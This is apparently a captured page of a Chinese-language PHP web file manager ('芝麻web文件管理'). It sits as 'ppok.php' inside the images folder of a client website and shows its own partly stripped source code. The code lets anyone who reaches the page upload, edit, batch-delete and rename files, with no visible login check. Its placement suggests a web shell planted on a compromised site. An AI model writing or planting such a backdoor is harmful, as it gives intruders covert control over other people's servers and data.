芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/herve-tessa-maconnerie.fr.new/assets/images/ppok.php
✅ 文件已保存"; } $content = htmlspecialchars(file_get_contents($fileToEdit)); echo "
编辑文件: " . basename($fileToEdit) . "
"; echo "
$content</textarea>
保存
返回
"; exit; } else { echo "
❌ 无法编辑文件,路径无效或文件不存在
"; exit; } } // **文件上传** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) { $uploadFile = $currentDirectory . '/' . basename($_FILES['uploadFile']['name']); if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) { echo "
✅ 文件上传成功
"; } else { echo "
❌ 文件上传失败
"; } } // **处理批量删除文件** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) { $filesToDelete = json_decode($_POST['deleteFiles'], true); $deleted = []; $errors = []; foreach ($filesToDelete as $fileName) { $fileToDelete = realpath($currentDirectory . '/' . $fileName); if ($fileToDelete && strpos($fileToDelete, $documentRoot) === 0 && is_file($fileToDelete)) { unlink($fileToDelete); $deleted[] = $fileName; } else { $errors[] = $fileName; } } echo json_encode(["deleted" => $deleted, "errors" => $errors]); exit; } // **处理文件重命名** if (isset($_POST['rename'])) { $oldName = realpath($currentDirectory . '/' . $_POST['fileName']); $newName = $currentDirectory . '/' . $_POST['copyName']; if ($oldName && strpos($oldName, $documentRoot) === 0) { rename($oldName, $newName); echo json_encode(["status" => "success", "message" => "文件已重命名"]); } else { echo json_encode(["status" => "error", "message" => "重命名失败"]); } exit; } // **获取当前目录下的文件和文件夹** $fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : []; // **面包屑导航** $breadcrumbs = []; $pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/")); $pathLink = ""; $breadcrumbs[] = "
Home
"; foreach ($pathParts as $part) { $pathLink .= "/" . $part; $breadcrumbs[] = "
" . $part . "
"; } ?>
文件管理器
" . implode(" > ", $breadcrumbs) . "
"; // 添加文件上传表单 echo '
📤 上传文件
'; echo "
"; echo "
全选/取消全选
"; echo "
❌ 批量删除
"; echo "
"; echo "
选择
文件名
文件大小
最后修改时间
操作
"; foreach ($fileList as $file) { if ($file == "." || $file == "..") continue; $filePath = $currentDirectory . '/' . $file; $fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath)); $fileDate = date("Y-m-d H:i:s", filemtime($filePath)); echo "
"; echo "
"; if (is_dir($filePath)) { echo "
[📁]
$file
"; echo "
-
$fileDate
"; } else { echo "
[📄] $file
"; echo "
$fileSize
$fileDate
"; } echo "
📝 编辑
✏️ 重命名
"; echo "
"; } echo "
"; echo "
"; ?>